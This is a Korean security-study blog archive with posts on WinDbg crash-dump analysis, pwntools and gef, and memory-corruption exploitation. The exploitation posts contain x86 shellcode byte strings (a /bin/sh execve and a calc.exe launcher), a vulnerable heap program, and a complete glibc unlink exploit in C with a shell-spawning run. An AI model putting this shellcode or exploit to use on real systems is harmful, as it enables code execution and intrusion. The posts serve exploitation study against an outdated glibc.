달력

4

« 2024/4 »

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
2017. 7. 9. 15:22

[Windows] Crash-dump Analysis in Windbg Security/Analysis2017. 7. 9. 15:22

Windbg를 활용한 크래시 덤프 분석을 간단히 정리한 것!!



1. 진행 환경
OS : Windows 8.1 K
Debugger : WinDbg 6.3.9600.17298 AMD64 


2. 크래쉬 덤프 생성 

시스템 속성 > 시작 및 복구 > 설정 > 디버깅 정보 쓰기 설정

[그림 1]




3. 덤프 파일이 생성될 때까지 기다리거나 외부에서 구해온다.


4. WinDbg 를 이용하여 분석한다.
4.1. File > Symbol file path 설정

4.2. File > Open Crash Dump
크래쉬 덤프 파일을 Windbg에서 연다.

4.3. 덤프파일 분석시 유용하게 사용되는 명령어
.bugcheck
해당 명령어는 버그체크 코드와 파라미터가 무엇을 나타내는지 알려준다. 버그체크 코드에 대한 정보는 windbg 에서 F1키를 누른 다음에 Bug Check Code Reference 를 검색해보면 된다. 

!drivers   //   lm t n 
해당 명령어는 Windows XP 이전 버전에서 동작한다. 이는 타겟 컴퓨터에 로드된 모든 드라이버의 정보를 보여주며 드라이버의 메모리 사용에 대한 요약 정보를 포함한다. 
이후의 버전에서는 해당 명령어를 사용할 수 없고 그와 비슷한 lm 명령어를 사용할 수 있다. lm 명령어는 로드된 모듈과 드라이버 정보를 보여준다. 이전의 !drivers 명령어와 유사하게 사용하기 위해선 lm 명령어에 t n 옵션을 주어 사용하면 된다(lm t n). 그러나 해당 명령어는 드라이버가 사용한 메모리 정보까지 포함하진 않는다. lm t n 명령어가 포함하는 정보는 start, end addresses, image names, timestamps 이다. 

[그림 2]



!analyze (-v) 
해당 명령어를 이용할 경우, 디버거 자체가 분석하여 결과를 출력해준다. 이 정보를 가지고 대략적인 예외 상황을 파악할 수 있다.

> 기타 명령어
(!kdext*.locks , !memusage , !vm , !errlog , !process , .ecxr , ln)


5. 실습
시나리오 : 블루스크린이 발생하며 해당 크래쉬 덤프파일을 생성하였다. 이를 분석하여라.

3: kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************


DPC_WATCHDOG_VIOLATION (133)
The DPC watchdog detected a prolonged run time at an IRQL of DISPATCH_LEVEL
or above.
Arguments:
Arg1: 0000000000000001, The system cumulatively spent an extended period of time at
DISPATCH_LEVEL or above. The offending component can usually be
identified with a stack trace.
Arg2: 0000000000001e00, The watchdog period.
Arg3: 0000000000000000
Arg4: 0000000000000000
// 크래쉬가 발생한 원인과 파라미터 종류
// 위 사항은 도움말(.bugcheck)에 나와있는 Bug Check Code Reference 부분에 자세히 나와있다.

[그림 3]




Debugging Details:
------------------
// 이하 내용은 발생되는 에러에 따라 다양하게 변경될 수 있다. 

DUMP_FILE_ATTRIBUTES: 0x8
  Kernel Generated Triage Dump

DPC_TIMEOUT_TYPE:  DPC_QUEUE_EXECUTION_TIMEOUT_EXCEEDED

CUSTOMER_CRASH_COUNT:  1

DEFAULT_BUCKET_ID:  WIN8_DRIVER_FAULT
// 일반적인 failure에 대한 정의다. 

BUGCHECK_STR:  0x133
// 예외코드를 나타낸다. 

PROCESS_NAME:  System
// 예외를 발생시킨 프로세스의 이름이다.

CURRENT_IRQL:  d
// 인터럽트 요청 레벨을 표시한다.

ANALYSIS_VERSION: 6.3.9600.17298 (debuggers(dbg).141024-1500) amd64fre
// 디버거의 버전정보를 나타낸다. 

LAST_CONTROL_TRANSFER:  from 0000000000000000 to fffff80277d511a0
// 스택에서의 마지막 콜을 보여준다. 이 부분을 예로 들 경우, 0x0000000000000000 주소에 있는 코드가 0xfffff80277d511a0 주소를 가지고 있는 함수를 호출 한 경우다. 이 내용은 ln(List Nearest Symbols) 명령어를 사용해서도 볼 수 있다.  

STACK_TEXT:  
ffffd001`94a37c88 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KeBugCheckEx


STACK_COMMAND:  kb
// STACK_TEXT에 포함되어 있는 정보를 다시 보고싶을 때 사용할 수 있는 명령어를 포함한다.

SYMBOL_NAME:  ANALYSIS_INCONCLUSIVE

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Unknown_Module

IMAGE_NAME:  Unknown_Image

DEBUG_FLR_IMAGE_TIMESTAMP:  0

IMAGE_VERSION:  

BUCKET_ID:  ZEROED_STACK
// 현재 failure가 속한 명확한 카테고리를 보여준다. 이 카테고리는 디버거가 분석 결과에 어떠한 정보를 담아야 할지에 대해서 결정하는데 도움을 준다.

FAILURE_BUCKET_ID:  ZEROED_STACK

ANALYSIS_SOURCE:  KM

FAILURE_ID_HASH_STRING:  km:zeroed_stack

FAILURE_ID_HASH:  {4af92c9d-8968-8d00-06f5-868dfba32e9a}

Followup: MachineOwner
---------





♧ 틀린 내용은 혼자만 아시지 마시고 저도 알려주세요 - ㅅ-!

:
Posted by einai
2017. 7. 6. 20:32

[Pwntools] Pwntools 간단 설명 Security/Tips2017. 7. 6. 20:32

About pwntools


워게임 사이트를 풀면서 처음 알게 된 툴로 익스플로잇을 작성하는데 여러모로 유용한 툴이다.  




Installation


우분투 12.04 및 14.04 에 최적화되어 있지만 대부분의 POSIX와 같은 배포판에서도 잘 동작한다.

 $ apt-get update

 $ apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential

 $ pip install --upgrade pip

 $ pip install --upgrade pwntools 





How To Use ?



바이너리 보호 기법 확인

>>>  python -c 'from pwn import *; ELF("./binary")'











ING......



Reference

[1] Pwntools, https://docs.pwntools.com

:
Posted by einai

이는 여러 아키텍쳐에서 가능한 GDB 개선 툴(?)이다. 


디버거 내에 컬러를 주어 보기가 편하고 디버깅 간 필요한 정보를 자동으로 출력해준다. 

설치는 아래와 같다. 


 # git clone https://github.com/hugsy/gef.git

 # echo source /<download path>/gef.py > ~/.gdbinit

 # gdb 실행 


참고할 수 있는 스크린 샷 하나 첨부하겠다. 


[그림 1]


여기에 더해 몇가지 모듈을 추가해서 익스플로잇이나 디스어셈블 기능을 강화할 수 있는 것으로 보이지만

이는 이후에 시간있을 때 다뤄보도록 하겠다 .









References 

[1] gef, https://github.com/hugsy/gef

'Security > Tips' 카테고리의 다른 글

[Pwntools] Pwntools 간단 설명  (0) 2017.07.06
:
Posted by einai
2017. 7. 6. 20:29

[Linux] 쉘코드 모음집 Security/Exploits2017. 7. 6. 20:29

1. /bin/sh

지원 버전 : Linux x86

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50

\x53\x89\xe1\xb0\x0b\xcd\x80









References

[1] http://shell-storm.org/shellcode/files/shellcode-827.php

'Security > Exploits' 카테고리의 다른 글

[Windows] 쉘코드 모음집  (0) 2017.07.06
[Linux] 쉘코드 제작 요약 설명  (0) 2017.07.06
[Linux] Heap overflow using unlink - 번역글  (0) 2017.07.06
[Windows] C++ vtable overwrite  (0) 2017.07.05
:
Posted by einai
2017. 7. 6. 20:28

[Windows] 쉘코드 모음집 Security/Exploits2017. 7. 6. 20:28

1. 계산기 호출 

지원 버전 : win32/xp sp3

\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x13\x53\xbb\xad\x23\x86

\x7c\xff\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe0\xff\xff

\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x63\x61\x6c\x63

\x2e\x65\x78\x65












References

[1] http://shell-storm.org/shellcode/files/shellcode-704.php

'Security > Exploits' 카테고리의 다른 글

[Linux] 쉘코드 모음집  (0) 2017.07.06
[Linux] 쉘코드 제작 요약 설명  (0) 2017.07.06
[Linux] Heap overflow using unlink - 번역글  (0) 2017.07.06
[Windows] C++ vtable overwrite  (0) 2017.07.05
:
Posted by einai
2017. 7. 6. 20:26

[Linux] 쉘코드 제작 요약 설명 Security/Exploits2017. 7. 6. 20:26

쉘 코드를 제작하는 방법을 요약하면 대략 아래와 같다. 


1. C를 기반으로 코딩 후 컴파일

2. 생성된 실행파일을 디어셈블러로 확인 

3. 주요 부분 발췌 후 어셈블리 코드 작성

4. objdump 명령어를 통해서 기계어 확인

5. Null 바이트 제거 


중요한 부분은 기계어에 포함된 널 바이트를 제거하는 것과 주어진 공간에 잘 맞추는 것이 아닐까 싶다. 

주저리 주저리 상세히 작성해보려 했지만 워낙 동일한 내용에 잘 되어있는 사이트들이 많아서 이정도만 작성한다.


일단 어셈블리어에 익숙한 사람들은 바로 어셈을 작성해도 큰 문제가 없을 것 같다. 


나도 이번 기회에 처음 쉘코드를 작성해봤는데 위 1번과 2번은 크게 신경써지지 않았다. 

내가 진행한 순서는 아래와 같다. 


1. 내가 쉘코드로 실행하고자 하는 바를 간단히 코딩 (의사코드 형식)

2. syscall 테이블을 확인 (64비트)

3. 필요한 파라미터 확인 및 준비 

4. Null 바이트 확인 및 제거


처음엔 나도 C 기반으로 코딩하고 확인하는 순서대로 진행해보았으나 오히려 남들이 작성해놓은 쉘코드를 한 두개 확인하고 내가 작성한 쉘코드의 문제점을 개선하는 쪽이 훨씬 직관적이고 빨랐다. 


내가 참고한 사이트와 syscall 테이블, 쉘코드를 볼 수 있는 사이트들을 아래에 기록해놓았다. 





References

[1] Writing 64-Bit Shellcode - Part 1 (Beginner Assembly), 

 https://null-byte.wonderhowto.com/how-to/writing-64-bit-shellcode-part-1-beginner-assembly-0161593/

[2] Writing 64-Bit Shellcode - Part 2 (Removing Null-Bytes), 

 https://null-byte.wonderhowto.com/how-to/writing-64-bit-shellcode-part-2-removing-null-bytes-0161591/

[3] Searchable Linux Syscall Table for x86 and x86_64, https://filippo.io/linux-syscall-table/

[4] shell-storm, http://shell-storm.org/

'Security > Exploits' 카테고리의 다른 글

[Linux] 쉘코드 모음집  (0) 2017.07.06
[Windows] 쉘코드 모음집  (0) 2017.07.06
[Linux] Heap overflow using unlink - 번역글  (0) 2017.07.06
[Windows] C++ vtable overwrite  (0) 2017.07.05
:
Posted by einai

Understanding glibc malloc 


이 포스터에서 우리는 언링크 기술을 이용하여 어떻게 힙 오버플로우가 성공적으로 익스플로잇 되는지 알아볼 것이다. 하지만 언링크를 살펴보기 이전에 첫 번째로 취약한 프로그램 코드를 살펴보도록 하자.


/* 

 Heap overflow vulnerable program. 

 */

#include <stdlib.h>

#include <string.h>


int main( int argc, char * argv[] )

{

        char * first, * second;


/*[1]*/ first = malloc( 666 );

/*[2]*/ second = malloc( 12 );

        if(argc!=1)

/*[3]*/         strcpy( first, argv[1] );

/*[4]*/ free( first );

/*[5]*/ free( second );

/*[6]*/ return( 0 );

}


위 코드의 [3] 라인은 힙 오버플로우를 발생시킨다. 사용자의 입력값 'argv[1]'은 어떠한 입력값 제한없이 힙 버퍼의 first에 문자열을 복사한다. 그렇기 때문에 사용자의 입력 값이 666 바이트보다 크다면 다음 청크의 청크 헤더를 덮어쓰게 된다. 이 오버플로우는 임의의 코드 실행을 이끌게 한다. 


그림을 이용하여 취약한 프로그램의 힙 메모리 영역을 보도록 하자. 




언링크(Unlink) : 이 기술의 주 아이디어는 'glibc malloc'을 속여 'second' 청크를 언링크하는 것이다. 언링킹하는 동안에 free 함수의 GOT 엔트리는 쉘코드의 주소로 덮어써질 것이다. 성공적으로 덮어써진 뒤에, [5] 라인에 있는 free 함수가 취약한 프로그램에 의해 호출될 때 쉘코드는 실행될 것이다. 

굉장히 깔끔하지 않은가? 우선 free가 실행될 때 'glibc malloc'이 하는 행위를 보도록 하자.  


공격자가 영향력을 행사하기 전에 [4] 라인에 있는 free 함수는 아래의 행위를 할 것이다. 


  •  non mapped chunk에 대해, 앞이나 뒤에 있는 청크들과 병합할 것이다. 
  • 뒤에 있는 청크와의 병합
    • 이전 청크 상태가 프리일 경우 - 만약 현재 프리된 청크의 PREV_INUSE(P) 비트가 설정되어 있지 않으면 이전 청크의 상태는 프리이다. 하지만 우리의 경우, 'first'의 PREV_INUSE 비트가 설정되어 있기 때문에 이전 청크는 할당되어 있다(힙 메모리의 첫번째 청크의 이전의 기본 청크는 심지어 존재하지 않더라도 할당되어 있다).
    • 프리 상태일 경우 - 이것의 BINLIST 로부터 이전 청크를 언링크하고, 이전 청크의 크기를 현재 크기에 더하고 청크의 포인터를 이전 청크의 포인터로 변경한다. 하지만 우리의 경우, 이전 청크가 할당되어 있기 때문에 언링킹 과정은 발생하지 않는다. 따라서 현재 프리된 청크 'first'는 뒤 청크와 병합되지 못할 것이다. 
    • 앞에 있는 청크와의 병합 
      • 다음 청크 상태가 프리일 경우 - 만약 다-다음 청크(next-to-next chunk)의 PREV-INUSE(P) 비트가 설정되어 있지 않으면 다음 청크의 상태는 프리이다. 다-다음 청크를 찾아가기 위해, 현재 프리된 청크의 크기를 이것의 청크 포인터에 더하고 다음 청크의 크기를 다음 청크의 포인터에 더한다. 우리의 경우 프리된 'first' 청크의 다-다음 청크는 탑 청크(top chunk)이고 이것의 PREV_INUSE 비트는 설정되어 있다. 따라서 다음 청크 'second' 청크는 프리 상태가 아니다(즉, 다 다음 청크의 PREV_INUSE 비트 설정 여부를 파악하여 다음 청크의 상태를 체크한다는 의미).
      • 프리 상태일 경우 - 이것의 BINLIST 로부터 다음 청크를 언링크하고 다음 청크의 사이즈를 현재의 청크 사이즈에 더한다 . 하지만 우리의 경우 다음 청크는 할당되어 있고 따라서 언링크 과정은 발생되지 않는다. 따라서 현재 프리된 청크 'first'는 앞 쪽의 청크와 병합될 수 없다. 
      • 이제 병합된 청크를 'unsorted bin'에 추가한다. 우리의 경우 병합 과정이 발생하지 않았기 때문에 'first' 청크만 'unsorted bin'에 추가된다. 


      이제 공격자가 [3] 라인에서 'second' 청크의 청크 헤더를 아래와 같이 덮어쓰게 해보자.

      • PREV_SIZE = 짝수로 설정, 따라서 PREV_INUSE 비트는 설정되어 있지 않다. 
      • SIZE = -4
      • FD = free address - 12  (free 함수의 GOT 엔트리 주소 - 12)
      • BK = Shellcode address 

      공격자가 영향력을 행사함에 따라 [4] 라인에 있는 'free' 함수는 아래와 같이 동작할 것이다. 

      • non mapped chunks 에 대해, 앞이나 뒤에 있는 청크들과 병합할 것이다. 
      • 뒤에 있는 청크와의 병합 
        • 이전 청크 상태가 프리일 경우 - (동일)
        • 프리 상태일 경우 - (동일)
        • 앞에 있는 청크와의 병합 
          • 다음 청크 상태가 프리일 경우 - 지금 상태의 경우 프리된 'first' 청크의 다-다음 청크는 탑 청크가 아니다. 공격자가 'second' 청크의 크기를 -4로 덮어썼기 때문에 'second' 청크로부터 -4 떨어진 곳에 다-다음 청크가 있다. 따라서 'glibc malloc'은 'second' 청크의 PREV_INUSE 필드를 다-다음 청크의 크기로 취급한다. 공격자가 PREV_SIZE 대신에 짝수로 덮어썼기 때문에 'glibc malloc'은 'second' 청크가 프리 상태라고 생각한다. 
          • 프리 상태일 경우 - 지금 상태의 경우 다음 청크가 프리 상태이고 따라서 'second' 청크는 아래와 같은 언링크 과정을 따른다. 
          • 'second' 청크의 FD와 BK 값을 변수 FD와 BK로 각각 복사한다. 우리의 경우 FD = free address - 12 와 BK = shellcode address 로 복사한다(힙 오버플로우의 경우, 공격자는 그의 쉘코드를 'first' 힙 버퍼에 위치시킨다). 
          • BK의 값은 FD로부터 오프셋 12 위치에 복사된다. 우리의 경우 'free' 함수의 GOT 엔트리를 가리키는 FD에 12바이트를 더해주었고 따라서 이제 'free' 함수의 GOT 엔트리는 쉘코드 주소로 덮어써진다. 이제 'free' 함수가 불러질 때마다 쉘코드는 실행될 것이다. 따라서 취약한 프로그램에서 [5] 라인을 실행할 때마다 쉘 코드가 실행되는 것이다. 


        공격자가 청크헤더를 변조시킨 내용을 그림으로 확인해보자. 




        언링크 기술을 이해하기 위해, 익스폴리잇을 작성해보겠다. 

        /* Program to exploit 'vuln' using unlink technique.

         */

        #include <string.h>

        #include <unistd.h>


        #define FUNCTION_POINTER ( 0x0804978c )      //Address of GOT entry for free function obtained using "objdump -R vuln".

        #define CODE_ADDRESS ( 0x0804a008 + 0x10 ) //Address of variable 'first' in vuln executable. 


        #define VULNERABLE "./vuln"

        #define DUMMY 0xdefaced

        #define PREV_INUSE 0x1


        char shellcode[] =

                /* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function

                (by statement BK->fd = FD). Hence if no jump exists shell code would get corrupted by unlink function. 

                Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/

                "\xeb\x0assppppffff"

                "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"

                "\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";


        int main( void )

        {

                char * p;

                char argv1[ 680 + 1 ];

                char * argv[] = { VULNERABLE, argv1, NULL };


                p = argv1;

                /* the fd field of the first chunk */

                *( (void **)p ) = (void *)( DUMMY );

                p += 4;

                /* the bk field of the first chunk */

                *( (void **)p ) = (void *)( DUMMY );

                p += 4;

                /* the fd_nextsize field of the first chunk */

                *( (void **)p ) = (void *)( DUMMY );

                p += 4;

                /* the bk_nextsize field of the first chunk */

                *( (void **)p ) = (void *)( DUMMY );

                p += 4;

                /* Copy the shellcode */

                memcpy( p, shellcode, strlen(shellcode) );

                p += strlen( shellcode );

                /* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize 

                of first chunk */

                memset( p, 'B', (680 - 4*4) - (4*4 + strlen(shellcode)) );

                p += ( 680 - 4*4 ) - ( 4*4 + strlen(shellcode) );

                /* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */

                *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );

                p += 4;

                /* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/

                *( (size_t *)p ) = (size_t)( -4 );

                p += 4;

                /* the fd field of the second chunk. It should point to free - 12. -12 is required since unlink function

                would do + 12 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in 

                second chunk's bk field (see below) */

                *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );

                p += 4;

                /* the bk field of the second chunk. It should point to shell code address.*/

                *( (void **)p ) = (void *)( CODE_ADDRESS );

                p += 4;

                /* the terminating NUL character */

                *p = '';


                /* the execution of the vulnerable program */

                execve( argv[0], argv, NULL );

                return( -1 );

        }



        위의 프로그램을 실행시키면 새로운 쉘이 발생한다. 


         sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2

        sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -o exp exp.c

        sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ ./exp 

        $ ls

        cmd  exp  exp.c  vuln  vuln.c

        $ exit

        sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$




        지금은 'glibc malloc'이 보완되었기 때문에 언링크 기술이 동작하지 않는다. 

        취약한 버전 : glib 2.3.2 이하의 버전 


        아래의 점검 로직이 언링크 기술을 방어하기 위해 추가되었다. 



        Double free 

        이미 프리 상태에 있는 청크를 프리하는 행위는 금지된다. 공격자가 SIZE를 덮어쓰고 난 뒤 'second' 청크의 PREV_INUSE의 비트 값은 설정되어 있지 않기 때문에 'glibc malloc'은 'first' 청크가 이미 프리되어 있다고 판단하고 Double free 에러를 발생시킨다. 


        if (__glibc_unlikely (!prev_inuse(nextchunk)))

        {

        errstr = "double free or corruption (!prev)";

        goto errout;

        }


        Invalid next size 

        다음 청크 크기는 아레나의 총 시스템 메모리에 8바이트 사이여야 한다. 공격자가 'second' 청크의 사이즈를 -4로 덮어쓸 때, 'glibc malloc'은 유효하지 않은 사이즈 에러를 발생시킨다. 

        Next chunk size should lie between 8 bytes to arena's total system memory.

        (아레나의 총 시스템 메모리라는 의미를 잘 몰라서 원본을 첨부시켜놓겠다. 아시는 분은 설명 부탁드려용 - 대략 8 배수라는 의미 같기는 한데...) 

        if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)

        || __builtin_expect (nextsize >= av->system_mem, 0))

          {

        errstr = "free(): invalid next size (normal)";

        goto errout;

          }



        Currupted Double Linked list 

        이전 청크의 FD와 다음 청크의 BK는 현재 언링크되어 있는 청크를 가리켜야 한다. 공격자가 FD와 BK를 free-12 와 쉘코드 주소로 덮어쓴다면 free 와 쉘코드 주소 + 8은 현재의 언링크된 청크를 가리키지 않기 때문에 'glibc malloc'은 오염된 이중 링크드 리스트 에러를 발생시킬 것이다. 


        if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                     

          malloc_printerr (check_action, "corrupted double-linked list", P); 





        데모를 목적으로 취약한 프로그램은 아래의 리눅스 보호 메커니즘을 제외한 뒤에 컴파일 되었다. 

        ASLR, NX, RELRO









        차근차근 하나씩 조지자. 





        Reference 

        [1] Heap overflow using unlink, https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/

        [2] Heap overflow using unlink(Translation), 

        http://blog.naver.com/PostView.nhn?blogId=mathboy7&logNo=220651761122&categoryNo=0&parentCategoryNo=0&viewDate=&currentPage=1&postListTopCurrentPage=1&from=postView

        'Security > Exploits' 카테고리의 다른 글

        [Linux] 쉘코드 모음집  (0) 2017.07.06
        [Windows] 쉘코드 모음집  (0) 2017.07.06
        [Linux] 쉘코드 제작 요약 설명  (0) 2017.07.06
        [Windows] C++ vtable overwrite  (0) 2017.07.05
        :
        Posted by einai
        2017. 7. 5. 09:04

        [Windows] C++ vtable overwrite Security/Exploits2017. 7. 5. 09:04

        1. Virtual Method Table(Virtual Call Table, vtable)

        런타임 메소드 바인딩을 지원하기 위해 프로그래밍 언어에서 사용하는 방법이다. 

        클래스가 가상 함수(또는 가상 메소드)을 정의할 때마다, 대부분의 컴파일러들은 클래스에 숨겨진 멤버 변수를 추가하는데, 이것은 (가상) 함수들에 대한 포인터들의 배열들(가상 메소드 테이블(VMT 또는 Vtable)라고 불리는)을 가리킨다. 이 포인터들은 실행 기간 도중에 정확한 함수를 가리키게 되는데, 왜냐하면 컴파일 타임에는 베이스 함수가 호출될 것인지 또는 베이스 클래스를 상속한 클래스에 의해서 구현될 지 알려져 있지 않기 때문이다.

        출처 : https://ko.wikipedia.org/wiki/가상_메소드_테이블




        2. vtable Overwrite 


        단지 저 위에 있는 글만 보았을 때 잘 감이 오지 않는다. 

        따라서 어떤식으로 동작하는 지 확인하면서 어떻게 익스플로잇이 가능한지 살펴보도록 하겠다. 


        우선 테스트로 사용할 코드는 아래와 같다. 


        [그림 1] 소스 코드 


        위 코드에서 클래스를 인스턴스화 할 때 ECX 레지스터에 스택의 주소를 전달한 뒤 함수를 호출하는데

        해당 함수는 단순히 전달받은 스택 주소에 클래스의 vtable 주소를 저장한다. 


        그리고 난 뒤 멤버 함수를 호출할 때 vtable이 저장된 스택의 주소를 ECX 레지스터에 저장하고

        이를 참조하여 함수를 호출하게 된다. 


        [그림 2] 클래스 할당 및 멤버 함수 호출


        아래의 그림은 멤버 함수 안에 있는 어셈블리어인데 이를 확인하면 조금 더 이해하기 쉬울 것이다.

        ECX 레지스터를 새로운 멤버 함수의 스택 공간에 저장하고 가상 함수를 호출할 때는 이를 참조하는 것을 볼 수 있다. 


        여기서 멤버 함수 내의 스택 공간에 저장한 값은 단지 최초에 저장된 vtable 위치라는 것을 주의해라. 


        [그림 3] 멤버 함수내 가상함수 호출 과정


        [그림 4]는 멤버 함수의 스택 구조를 나타낸다. 

        위에서 설명한 바와 같이 vtable을 참조하는 모습을 볼 수 있다. 


        [그림 4] 멤버 함수 스택 구조 


        소스코드에서 볼 수 있는 것처럼 전달받은 파라미터의 길이를 검증하는 코드가 없기 때문에 오버플로우가 발생하는 것을 볼 수 있다. [그림 5]에서 vtable이 저장되어 있는 곳이 파라미터로 전달된 값으로 채워진 것을 볼 수 있다. 


        [그림 5] vtable overwrite


        이후 가상 함수를 호출할 때 vtable을 참조하는 과정에서 예외가 발생하게 된다. 


        [그림 6] 예외 발생 




        대충 이런식으로 취약점이 발생한다. 

        개념을 정리하는 관점에서 흐름만 나열해보았다. 




        ♧ 틀린 내용은 혼자만 아시지 마시고 저도 알려주세요 - ㅅ-!

        'Security > Exploits' 카테고리의 다른 글

        [Linux] 쉘코드 모음집  (0) 2017.07.06
        [Windows] 쉘코드 모음집  (0) 2017.07.06
        [Linux] 쉘코드 제작 요약 설명  (0) 2017.07.06
        [Linux] Heap overflow using unlink - 번역글  (0) 2017.07.06
        :
        Posted by einai